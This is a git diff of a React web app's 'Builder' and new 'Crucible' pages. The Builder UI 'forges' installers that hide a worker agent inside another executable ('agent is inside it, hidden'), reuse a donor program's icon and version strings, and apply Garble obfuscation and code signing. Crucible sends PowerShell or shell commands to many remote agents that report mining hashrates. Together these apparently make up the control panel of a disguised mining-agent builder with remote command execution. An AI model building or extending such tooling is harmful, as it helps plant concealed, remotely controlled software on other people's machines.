const stageElapsed = elapsed - s.minMs;
|
||||
const stageDur = nextMs - s.minMs;
|
||||
const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
|
||||
const pct = s.pct + (nextPct - s.pct) * frac;
|
||||
if (next !== stageIdx) stageIdx = next;
|
||||
setStage(s.label, Math.min(98, pct));
|
||||
forgeStageTimerRef.current = setTimeout(advance, 250);
|
||||
};
|
||||
advance();
|
||||
|
||||
return () => {
|
||||
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
|
||||
};
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [building, batchJob]);
|
||||
|
||||
const setForgeMode = (simple: boolean) => {
|
||||
setSimpleMode(simple);
|
||||
try {
|
||||
@@ -142,32 +214,28 @@ export default function BuilderPage() {
|
||||
try {
|
||||
const builds = await api.listBuilds();
|
||||
setRecentBuilds(builds);
|
||||
setShowRecent(true);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
}
|
||||
};
|
||||
|
||||
// Handle ?reforge=<buildId> links from Build Manager page
|
||||
useEffect(() => {
|
||||
const reforgeId = searchParams.get('reforge');
|
||||
if (!reforgeId || recentBuilds.length === 0) return;
|
||||
const match = recentBuilds.find((b) => b.id === reforgeId);
|
||||
if (match) {
|
||||
reForgeFromBuild(match);
|
||||
setSearchParams({}, { replace: true });
|
||||
}
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [searchParams, recentBuilds]);
|
||||
|
||||
const finishForgeSuccess = async (result: BuildResponse) => {
|
||||
setStage('Build complete!', 100);
|
||||
setLastBuild(result);
|
||||
loadRecentBuilds();
|
||||
const url = result.bundle_download_url || result.download_url;
|
||||
const name = result.bundle_file_name || result.file_name;
|
||||
if (url && name) {
|
||||
try {
|
||||
await downloadApiFile(url, name);
|
||||
} catch (err) {
|
||||
console.error('Auto-download failed:', err);
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (result.download_url && result.file_name) {
|
||||
try {
|
||||
await downloadApiFile(result.download_url, result.file_name);
|
||||
} catch (err) {
|
||||
console.error('Auto-download failed:', err);
|
||||
}
|
||||
}
|
||||
// No auto-download — user downloads from the strip below or Build Manager page
|
||||
};
|
||||
|
||||
// Blueprint: save current form as a named blueprint
|
||||
@@ -250,10 +318,6 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const blueprintDiffRows = useMemo(() => {
|
||||
if (!form || !compareBlueprint) return [];
|
||||
return blueprintDiff(compareBlueprint, form as unknown as Record<string, unknown>);
|
||||
}, [form, compareBlueprint]);
|
||||
|
||||
// Blueprint: delete a blueprint
|
||||
const handleDeleteBlueprint = async (name: string) => {
|
||||
@@ -493,7 +557,8 @@ export default function BuilderPage() {
|
||||
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||
const base = defaultsFromConfig(config, info, builds);
|
||||
const kind = form ? deriveDeliverableType(form) : 'single';
|
||||
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates });
|
||||
// Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh
|
||||
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates });
|
||||
setForm(applyDeliverableType(merged, kind));
|
||||
setBlueprintMsg('✅ Recommended defaults applied');
|
||||
setTimeout(() => setBlueprintMsg(''), 2500);
|
||||
@@ -1881,6 +1946,8 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
<ForgeProgressBar building={building && !batchJob} stage={forgeStage} progress={forgeProgress} />
|
||||
|
||||
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
|
||||
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
|
||||
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
|
||||
@@ -1900,146 +1967,39 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
|
||||
{lastBuild?.success && (
|
||||
<div className="card recent-builds">
|
||||
<h2>Installer Ready</h2>
|
||||
<div className="build-success">
|
||||
<p><strong>Deploy to each machine:</strong></p>
|
||||
{lastBuild.fusion_enabled && (
|
||||
<p className="form-hint">Fusion build — worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p>
|
||||
)}
|
||||
<p><strong>File:</strong> {lastBuild.file_name}</p>
|
||||
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
|
||||
{lastBuild.fusion_export_dir && (
|
||||
<>
|
||||
<p><strong>Movie deliverables folder:</strong></p>
|
||||
<code className="path-display">{lastBuild.fusion_export_dir}</code>
|
||||
</>
|
||||
)}
|
||||
{lastBuild.export_path && (
|
||||
<>
|
||||
<p><strong>Your file (project root):</strong></p>
|
||||
<code className="path-display">{lastBuild.export_path}</code>
|
||||
{!lastBuild.fusion_export_dir && (
|
||||
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
|
||||
)}
|
||||
{(lastBuild.obfuscated || lastBuild.signed) && (
|
||||
<p className="form-hint">
|
||||
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
|
||||
{lastBuild.signed && 'Authenticode signature applied.'}
|
||||
</p>
|
||||
)}
|
||||
</>
|
||||
)}
|
||||
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
|
||||
<div className="download-actions">
|
||||
{lastBuild.download_url && lastBuild.file_name && (
|
||||
<DownloadButton
|
||||
apiPath={lastBuild.download_url}
|
||||
filename={lastBuild.file_name}
|
||||
className="btn btn-primary btn-lg"
|
||||
>
|
||||
Download {lastBuild.file_name}
|
||||
</DownloadButton>
|
||||
<div className="forge-last-build-strip">
|
||||
<div className="forge-last-build-info">
|
||||
<span className="forge-last-build-check">✓</span>
|
||||
<div>
|
||||
<span className="forge-last-build-name">{lastBuild.file_name || 'Build ready'}</span>
|
||||
{lastBuild.file_size != null && (
|
||||
<span className="forge-last-build-size">
|
||||
{((lastBuild.file_size || 0) / 1024 / 1024).toFixed(1)} MB
|
||||
</span>
|
||||
)}
|
||||
{!lastBuild.bundle_download_url && lastBuild.build_id && lastBuild.extra_files?.map((f) => (
|
||||
<DownloadButton
|
||||
key={f.file_name}
|
||||
apiPath={api.buildArtifactUrl(lastBuild.build_id!, f.file_name)}
|
||||
filename={f.file_name}
|
||||
className="btn btn-secondary"
|
||||
>
|
||||
Download {f.file_name}
|
||||
</DownloadButton>
|
||||
))}
|
||||
<p className="form-hint">
|
||||
{lastBuild.bundle_file_name
|
||||
? 'One ZIP per title — extract and run the runner only (agent is inside it, hidden).'
|
||||
: 'Saved to your browser Downloads when the forge completes. Click again if needed.'}
|
||||
</p>
|
||||
{lastBuild.fusion_enabled && <span className="forge-last-build-tag">FUSION</span>}
|
||||
{lastBuild.obfuscated && <span className="forge-last-build-tag">GARBLED</span>}
|
||||
{lastBuild.signed && <span className="forge-last-build-tag">SIGNED</span>}
|
||||
</div>
|
||||
{lastBuild.uninstall_export_path && (
|
||||
<p><strong>Uninstaller copy:</strong> <code className="mono-sm">{lastBuild.uninstall_export_path}</code></p>
|
||||
)}
|
||||
{lastBuild.uninstall_download_url && (
|
||||
<>
|
||||
<p><strong>Uninstaller:</strong> {lastBuild.uninstall_file_name}</p>
|
||||
{!lastBuild.uninstall_export_path && (
|
||||
<code className="path-display">{lastBuild.uninstall_path}</code>
|
||||
)}
|
||||
<AuthDownloadButton
|
||||
apiPath={lastBuild.uninstall_download_url}
|
||||
filename={lastBuild.uninstall_file_name || 'uninstall.ps1'}
|
||||
className="btn btn-outline"
|
||||
>
|
||||
Download uninstall script
|
||||
</AuthDownloadButton>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{showRecent && (
|
||||
<div className="card recent-builds">
|
||||
<div className="recent-header">
|
||||
<h2>Build Manager</h2>
|
||||
<button className="btn btn-outline" onClick={() => setShowRecent(false)}>Close</button>
|
||||
<div className="forge-last-build-actions">
|
||||
{lastBuild.download_url && lastBuild.file_name && (
|
||||
<DownloadButton
|
||||
apiPath={lastBuild.download_url}
|
||||
filename={lastBuild.file_name}
|
||||
className="btn btn-primary btn-sm"
|
||||
>
|
||||
↓ Download
|
||||
</DownloadButton>
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={() => navigate('/builds')}
|
||||
>
|
||||
View in Build Manager →
|
||||
</button>
|
||||
</div>
|
||||
<p className="form-hint">Blueprint diff, one-click re-forge, LAN QR download for each forged build.</p>
|
||||
{blueprintDiffRows.length > 0 && (
|
||||
<NeonCard accent="purple" className="section">
|
||||
<h3>Blueprint Diff vs current form</h3>
|
||||
<ul className="blueprint-diff">
|
||||
{blueprintDiffRows.map((d) => (
|
||||
<li key={d.key} className={d.kind}>
|
||||
<strong>{d.key}</strong>: {d.kind}
|
||||
{d.kind === 'changed' && ` (${JSON.stringify(d.from)} → ${JSON.stringify(d.to)})`}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</NeonCard>
|
||||
)}
|
||||
{recentBuilds.length === 0 ? (
|
||||
<p className="empty-text">No builds yet</p>
|
||||
) : (
|
||||
<div className="build-manager-grid">
|
||||
{recentBuilds.map((build) => {
|
||||
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
||||
const exeName =
|
||||
build.file_path?.replace(/^.*[/\\]/, '') || `install-${build.worker_name}.exe`;
|
||||
return (
|
||||
<div key={build.id} className="build-manager-row">
|
||||
<div>
|
||||
<div className="build-item-name">{build.worker_name}</div>
|
||||
<div className="build-item-details">
|
||||
<span>{build.threads} threads</span>
|
||||
<span>{(build.file_size / 1024 / 1024).toFixed(1)} MB</span>
|
||||
<span>{new Date(build.created_at).toLocaleString()}</span>
|
||||
</div>
|
||||
</div>
|
||||
<LanDownloadQR url={downloadUrl} />
|
||||
<DownloadButton
|
||||
apiPath={api.buildDownloadUrl(build.id)}
|
||||
filename={exeName}
|
||||
className="btn btn-outline"
|
||||
>
|
||||
Download
|
||||
</DownloadButton>
|
||||
<AuthDownloadButton
|
||||
apiPath={api.buildUninstallUrl(build.id)}
|
||||
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
|
||||
className="btn btn-outline"
|
||||
>
|
||||
Uninstall script
|
||||
</AuthDownloadButton>
|
||||
<button type="button" className="btn btn-primary" disabled={building} onClick={() => reForgeFromBuild(build)}>
|
||||
Re-forge
|
||||
</button>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
548
server/web/src/pages/CruciblePage.css
Normal file
548
server/web/src/pages/CruciblePage.css
Normal file
@@ -0,0 +1,548 @@
|
||||
/* ── Crucible Page ───────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-page {
|
||||
max-width: 1400px;
|
||||
}
|
||||
|
||||
.crucible-sel-summary {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: flex-end;
|
||||
gap: 0.2rem;
|
||||
}
|
||||
|
||||
/* ── Roster ──────────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-roster-card {
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.crucible-section-title {
|
||||
font-size: 0.78rem;
|
||||
letter-spacing: 0.12em;
|
||||
color: var(--text-muted);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
margin-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.crucible-roster {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.65rem;
|
||||
}
|
||||
|
||||
.crucible-node-card {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
padding: 0.6rem 0.75rem;
|
||||
border-radius: 6px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.07);
|
||||
background: rgba(0, 0, 0, 0.3);
|
||||
cursor: pointer;
|
||||
transition: border-color 0.15s, background 0.15s, box-shadow 0.15s;
|
||||
min-width: 150px;
|
||||
max-width: 180px;
|
||||
flex: 1 1 150px;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.crucible-node-card:hover {
|
||||
border-color: rgba(255, 255, 255, 0.18);
|
||||
background: rgba(0, 0, 0, 0.45);
|
||||
}
|
||||
|
||||
.crucible-node-card.selected {
|
||||
border-color: var(--sel-color, var(--neon-cyan));
|
||||
background: rgba(0, 245, 255, 0.06);
|
||||
box-shadow: 0 0 12px -4px var(--sel-color, var(--neon-cyan));
|
||||
}
|
||||
|
||||
.crucible-node-card.offline {
|
||||
opacity: 0.45;
|
||||
}
|
||||
|
||||
.crucible-node-check {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
padding-top: 2px;
|
||||
}
|
||||
|
||||
.cn-checkbox {
|
||||
display: inline-block;
|
||||
width: 14px;
|
||||
height: 14px;
|
||||
border: 1px solid var(--text-muted);
|
||||
border-radius: 3px;
|
||||
flex-shrink: 0;
|
||||
transition: all 0.15s;
|
||||
}
|
||||
|
||||
.cn-checkbox.checked {
|
||||
border-color: var(--neon-cyan);
|
||||
background: rgba(0, 245, 255, 0.2);
|
||||
}
|
||||
|
||||
.crucible-node-body {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.18rem;
|
||||
}
|
||||
|
||||
.cn-name {
|
||||
font-weight: 600;
|
||||
font-size: 0.88rem;
|
||||
color: var(--text-primary);
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.3rem;
|
||||
}
|
||||
|
||||
.cn-platform { font-size: 0.9rem; }
|
||||
|
||||
.cn-meta {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.4rem;
|
||||
}
|
||||
|
||||
.cn-badge {
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-muted);
|
||||
font-family: var(--font-tech);
|
||||
}
|
||||
|
||||
.cn-status-dot {
|
||||
width: 6px;
|
||||
height: 6px;
|
||||
border-radius: 50%;
|
||||
}
|
||||
|
||||
.cn-status-dot.on { background: var(--neon-green); box-shadow: 0 0 6px var(--neon-green); }
|
||||
.cn-status-dot.off { background: var(--text-muted); }
|
||||
|
||||
.cn-ip {
|
||||
font-size: 0.7rem;
|
||||
color: var(--text-muted);
|
||||
letter-spacing: 0.02em;
|
||||
}
|
||||
|
||||
.cn-stats {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
font-size: 0.72rem;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.cn-ssh {
|
||||
font-size: 0.68rem;
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.05em;
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
align-self: flex-start;
|
||||
margin-top: 1px;
|
||||
}
|
||||
|
||||
.cn-ssh.ssh-on { color: var(--neon-green); background: rgba(57,255,20,0.12); }
|
||||
.cn-ssh.ssh-off { color: #ff4466; background: rgba(255,68,102,0.12); }
|
||||
.cn-ssh.ssh-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); }
|
||||
|
||||
/* ── Row: Groups + Actions ───────────────────────────────────────────── */
|
||||
|
||||
.crucible-row {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 2fr;
|
||||
gap: 1rem;
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
@media (max-width: 900px) {
|
||||
.crucible-row { grid-template-columns: 1fr; }
|
||||
}
|
||||
|
||||
/* ── Groups ──────────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-groups-card,
|
||||
.crucible-actions-card {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.crucible-groups-list {
|
||||
flex: 1;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.35rem;
|
||||
min-height: 60px;
|
||||
margin-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.crucible-group-item {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
padding: 0.35rem 0.6rem;
|
||||
border-radius: 5px;
|
||||
background: rgba(178, 75, 243, 0.1);
|
||||
border: 1px solid rgba(178, 75, 243, 0.2);
|
||||
cursor: pointer;
|
||||
transition: background 0.15s;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.crucible-group-item:hover { background: rgba(178, 75, 243, 0.2); }
|
||||
|
||||
.cg-name { flex: 1; color: var(--text-primary); font-weight: 500; }
|
||||
.cg-count { color: var(--text-muted); font-size: 0.75rem; }
|
||||
.cg-del {
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--text-muted);
|
||||
cursor: pointer;
|
||||
font-size: 1rem;
|
||||
line-height: 1;
|
||||
padding: 0;
|
||||
transition: color 0.1s;
|
||||
}
|
||||
.cg-del:hover { color: #ff4466; }
|
||||
|
||||
.crucible-group-new {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
/* ── Actions ─────────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-ops {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.75rem;
|
||||
}
|
||||
|
||||
.crucible-op-group {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.cop-label {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.68rem;
|
||||
letter-spacing: 0.1em;
|
||||
color: var(--text-muted);
|
||||
min-width: 52px;
|
||||
}
|
||||
|
||||
.crucible-op-btn {
|
||||
padding: 0.3rem 0.7rem;
|
||||
font-size: 0.8rem;
|
||||
background: rgba(255, 255, 255, 0.04);
|
||||
border: 1px solid rgba(255, 176, 32, 0.25);
|
||||
color: var(--neon-amber);
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
transition: all 0.15s;
|
||||
font-family: var(--font-tech);
|
||||
}
|
||||
|
||||
.crucible-op-btn:hover:not(:disabled) {
|
||||
background: rgba(255, 176, 32, 0.12);
|
||||
border-color: var(--neon-amber);
|
||||
}
|
||||
|
||||
.crucible-op-btn:disabled { opacity: 0.35; cursor: not-allowed; }
|
||||
|
||||
.crucible-op-wake {
|
||||
color: var(--neon-green);
|
||||
border-color: rgba(57, 255, 20, 0.3);
|
||||
}
|
||||
.crucible-op-wake:hover:not(:disabled) {
|
||||
background: rgba(57, 255, 20, 0.1);
|
||||
border-color: var(--neon-green);
|
||||
}
|
||||
|
||||
.crucible-shell-tabs {
|
||||
display: flex;
|
||||
gap: 0;
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
border-radius: 4px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.crucible-shell-tab {
|
||||
padding: 0.25rem 0.65rem;
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--text-muted);
|
||||
cursor: pointer;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.75rem;
|
||||
transition: all 0.15s;
|
||||
border-right: 1px solid rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.crucible-shell-tab:last-child { border-right: none; }
|
||||
|
||||
.crucible-shell-tab.active {
|
||||
background: rgba(0, 245, 255, 0.12);
|
||||
color: var(--neon-cyan);
|
||||
}
|
||||
|
||||
.crucible-sel-chips {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.35rem;
|
||||
padding-top: 0.25rem;
|
||||
}
|
||||
|
||||
.crucible-chip {
|
||||
padding: 0.15rem 0.5rem;
|
||||
border: 1px solid;
|
||||
border-radius: 3px;
|
||||
font-size: 0.75rem;
|
||||
font-family: var(--font-tech);
|
||||
cursor: pointer;
|
||||
opacity: 0.8;
|
||||
transition: opacity 0.1s;
|
||||
}
|
||||
.crucible-chip:hover { opacity: 1; }
|
||||
|
||||
/* ── Terminal ─────────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-term-card {
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.crucible-term-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
margin-bottom: 0.6rem;
|
||||
}
|
||||
|
||||
.crucible-term-target {
|
||||
color: var(--text-muted);
|
||||
font-size: 0.75rem;
|
||||
margin-left: 0.75rem;
|
||||
}
|
||||
|
||||
.crucible-terminal {
|
||||
background: rgba(0, 0, 0, 0.55);
|
||||
border: 1px solid rgba(57, 255, 20, 0.15);
|
||||
border-radius: 5px;
|
||||
padding: 0.6rem 0.75rem;
|
||||
height: 340px;
|
||||
overflow-y: auto;
|
||||
font-family: 'Courier New', Consolas, monospace;
|
||||
font-size: 0.8rem;
|
||||
line-height: 1.55;
|
||||
margin-bottom: 0.6rem;
|
||||
scroll-behavior: smooth;
|
||||
}
|
||||
|
||||
.crucible-terminal::-webkit-scrollbar { width: 4px; }
|
||||
.crucible-terminal::-webkit-scrollbar-thumb { background: rgba(57,255,20,0.25); border-radius: 2px; }
|
||||
|
||||
.crucible-term-empty {
|
||||
color: var(--text-muted);
|
||||
font-style: italic;
|
||||
padding: 0.5rem 0;
|
||||
}
|
||||
|
||||
.crucible-term-line {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
gap: 0.4rem;
|
||||
padding: 0.05rem 0;
|
||||
}
|
||||
|
||||
.ctl-agent {
|
||||
font-size: 0.72rem;
|
||||
font-family: var(--font-tech);
|
||||
white-space: pre;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.ctl-arrow {
|
||||
flex-shrink: 0;
|
||||
font-size: 0.75rem;
|
||||
}
|
||||
|
||||
.ctl-text {
|
||||
flex: 1;
|
||||
color: var(--text-primary);
|
||||
word-break: break-all;
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
|
||||
.cmd-line .ctl-text {
|
||||
color: var(--text-muted);
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.err-line .ctl-text {
|
||||
color: #ff4466;
|
||||
}
|
||||
|
||||
.ctl-ts {
|
||||
font-size: 0.65rem;
|
||||
color: rgba(255, 255, 255, 0.2);
|
||||
flex-shrink: 0;
|
||||
margin-left: auto;
|
||||
}
|
||||
|
||||
.crucible-term-input-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
.crucible-prompt {
|
||||
font-size: 0.8rem;
|
||||
color: var(--neon-green);
|
||||
flex-shrink: 0;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.crucible-term-input {
|
||||
flex: 1;
|
||||
background: rgba(0, 0, 0, 0.5);
|
||||
border: 1px solid rgba(57, 255, 20, 0.25);
|
||||
border-radius: 4px;
|
||||
padding: 0.4rem 0.6rem;
|
||||
color: var(--neon-green);
|
||||
font-family: 'Courier New', Consolas, monospace;
|
||||
font-size: 0.85rem;
|
||||
outline: none;
|
||||
transition: border-color 0.15s;
|
||||
}
|
||||
|
||||
.crucible-term-input:focus { border-color: var(--neon-green); }
|
||||
.crucible-term-input:disabled { opacity: 0.4; }
|
||||
|
||||
.crucible-send-btn {
|
||||
padding: 0.4rem 1rem;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.8rem;
|
||||
background: rgba(57, 255, 20, 0.1);
|
||||
border: 1px solid rgba(57, 255, 20, 0.35);
|
||||
color: var(--neon-green);
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
transition: all 0.15s;
|
||||
letter-spacing: 0.08em;
|
||||
}
|
||||
|
||||
.crucible-send-btn:hover:not(:disabled) {
|
||||
background: rgba(57, 255, 20, 0.2);
|
||||
box-shadow: 0 0 10px rgba(57, 255, 20, 0.25);
|
||||
}
|
||||
|
||||
.crucible-send-btn:disabled { opacity: 0.35; cursor: not-allowed; }
|
||||
.crucible-send-btn.busy { animation: pulse-green 1s ease-in-out infinite; }
|
||||
|
||||
@keyframes pulse-green {
|
||||
0%, 100% { opacity: 0.4; }
|
||||
50% { opacity: 1; }
|
||||
}
|
||||
|
||||
/* ── SSH Info ─────────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-ssh-info { margin-bottom: 2rem; }
|
||||
|
||||
.crucible-ssh-grid {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 1fr;
|
||||
gap: 0.75rem 1.5rem;
|
||||
margin-top: 0.5rem;
|
||||
}
|
||||
|
||||
@media (max-width: 700px) { .crucible-ssh-grid { grid-template-columns: 1fr; } }
|
||||
|
||||
.crucible-ssh-step {
|
||||
display: flex;
|
||||
gap: 0.6rem;
|
||||
align-items: flex-start;
|
||||
font-size: 0.85rem;
|
||||
color: var(--text-secondary);
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.css-num {
|
||||
flex-shrink: 0;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
border-radius: 50%;
|
||||
background: rgba(201, 162, 39, 0.2);
|
||||
border: 1px solid var(--brass);
|
||||
color: var(--brass-light);
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.72rem;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
margin-top: 1px;
|
||||
}
|
||||
|
||||
.crucible-code {
|
||||
font-family: 'Courier New', Consolas, monospace;
|
||||
font-size: 0.8rem;
|
||||
color: var(--neon-cyan);
|
||||
background: rgba(0, 245, 255, 0.07);
|
||||
padding: 0 4px;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
/* ── Shared input ─────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-input {
|
||||
flex: 1;
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
border-radius: 4px;
|
||||
padding: 0.35rem 0.6rem;
|
||||
color: var(--text-primary);
|
||||
font-size: 0.85rem;
|
||||
outline: none;
|
||||
transition: border-color 0.15s;
|
||||
}
|
||||
.crucible-input:focus { border-color: var(--neon-purple); }
|
||||
|
||||
/* ── Buttons ──────────────────────────────────────────────────────────── */
|
||||
|
||||
.crucible-btn {
|
||||
padding: 0.35rem 0.8rem;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.78rem;
|
||||
background: rgba(0, 245, 255, 0.08);
|
||||
border: 1px solid rgba(0, 245, 255, 0.3);
|
||||
color: var(--neon-cyan);
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
transition: all 0.15s;
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
.crucible-btn:hover:not(:disabled) { background: rgba(0, 245, 255, 0.16); }
|
||||
.crucible-btn:disabled { opacity: 0.35; cursor: not-allowed; }
|
||||
|
||||
.crucible-btn-muted {
|
||||
padding: 0.25rem 0.65rem;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.72rem;
|
||||
background: transparent;
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
color: var(--text-muted);
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
transition: all 0.12s;
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
.crucible-btn-muted:hover { color: var(--text-primary); border-color: rgba(255,255,255,0.25); }
|
||||
598
server/web/src/pages/CruciblePage.tsx
Normal file
598
server/web/src/pages/CruciblePage.tsx
Normal file
@@ -0,0 +1,598 @@
|
||||
import { useState, useRef, useEffect, useCallback, useMemo } from 'react';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
import type { Agent } from '../types';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { formatHashrate } from '../help/fleetFilters';
|
||||
import './CruciblePage.css';
|
||||
|
||||
// ── Types ──────────────────────────────────────────────────────────────────
|
||||
|
||||
type ShellType = 'powershell' | 'exec' | 'sh';
|
||||
|
||||
interface TermLine {
|
||||
id: string;
|
||||
agentId: string;
|
||||
agentName: string;
|
||||
isCmd: boolean;
|
||||
text: string;
|
||||
ts: Date;
|
||||
success?: boolean;
|
||||
}
|
||||
|
||||
interface NodeGroup {
|
||||
id: string;
|
||||
name: string;
|
||||
agentIds: Set<string>;
|
||||
}
|
||||
|
||||
// ── Helpers ────────────────────────────────────────────────────────────────
|
||||
|
||||
const AGENT_COLORS = [
|
||||
'#00f5ff', '#39ff14', '#ff2da6', '#b24bf3',
|
||||
'#ffb020', '#ff6b35', '#00d4aa', '#f72585',
|
||||
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
|
||||
];
|
||||
|
||||
function agentColor(agentId: string, allIds: string[]): string {
|
||||
const idx = allIds.indexOf(agentId);
|
||||
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
|
||||
}
|
||||
|
||||
function sshBadge(agent: Agent) {
|
||||
if (agent.ssh_available === true) return { label: 'SSH ON', cls: 'ssh-on' };
|
||||
if (agent.ssh_available === false) return { label: 'SSH OFF', cls: 'ssh-off' };
|
||||
return { label: 'SSH ?', cls: 'ssh-unk' };
|
||||
}
|
||||
|
||||
function platformIcon(platform?: string): string {
|
||||
if (!platform) return '⬡';
|
||||
const p = platform.toLowerCase();
|
||||
if (p.includes('win')) return '⊞';
|
||||
if (p.includes('linux')) return '🐧';
|
||||
if (p.includes('darwin')) return '';
|
||||
return '⬡';
|
||||
}
|
||||
|
||||
let _lineId = 0;
|
||||
function mkId() { return `tl-${++_lineId}`; }
|
||||
|
||||
